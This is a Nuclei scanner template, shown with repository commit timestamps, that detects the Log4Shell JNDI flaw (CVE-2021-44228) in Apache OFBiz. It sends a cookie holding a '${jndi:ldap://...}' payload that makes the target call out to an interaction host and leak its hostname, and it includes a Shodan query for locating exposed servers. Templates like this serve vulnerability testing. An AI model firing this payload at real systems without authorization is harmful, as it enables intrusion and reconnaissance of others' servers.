nuclei-templates/http/vulnerabilities/apache/apache-ofbiz-log4j-rce.yaml

65 lines
2.3 KiB
YAML
Raw Normal View History

id: apache-ofbiz-log4j-rce
info:
name: Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)
author: pdteam
severity: critical
2022-05-31 08:44:19 +00:00
description: |
Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
2023-10-14 11:27:55 +00:00
remediation: Upgrade to Apache OFBiz version 8.12.03 or later.
reference:
- https://issues.apache.org/jira/browse/OFBIZ-12449
- https://ofbiz.apache.org/
2022-07-16 17:08:08 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
2022-07-18 06:34:47 +00:00
metadata:
max-request: 1
2022-07-18 06:34:47 +00:00
shodan-query: http.html:"Apache OFBiz"
tags: cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi,kev
2023-05-03 11:51:48 +00:00
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
GET /webtools/control/main HTTP/1.1
Host: {{Hostname}}
2023-05-04 05:35:06 +00:00
Cookie: OFBiz.Visitor=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookie.{{interactsh-url}}}
matchers-condition: and
matchers:
- type: word
2023-07-16 13:32:52 +00:00
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
2023-05-04 05:35:06 +00:00
- type: kval
kval:
2023-11-17 08:48:58 +00:00
- interactsh_ip
2023-05-04 05:35:06 +00:00
- type: regex
2023-11-17 08:48:58 +00:00
part: interactsh_request
2023-05-04 05:35:06 +00:00
group: 2
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-05-04 05:35:06 +00:00
- type: regex
2023-11-17 08:48:58 +00:00
part: interactsh_request
group: 1
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a00483046022100aa4a6eaac586a993f9abed66be29b1d4622bca19b5e729592ec7177ad998bce1022100fb08bd7e63e69d0500c8d92369b1fbf85e055c261123c22a694345a620941c69:922c64590222798bb761d5b6d8e72950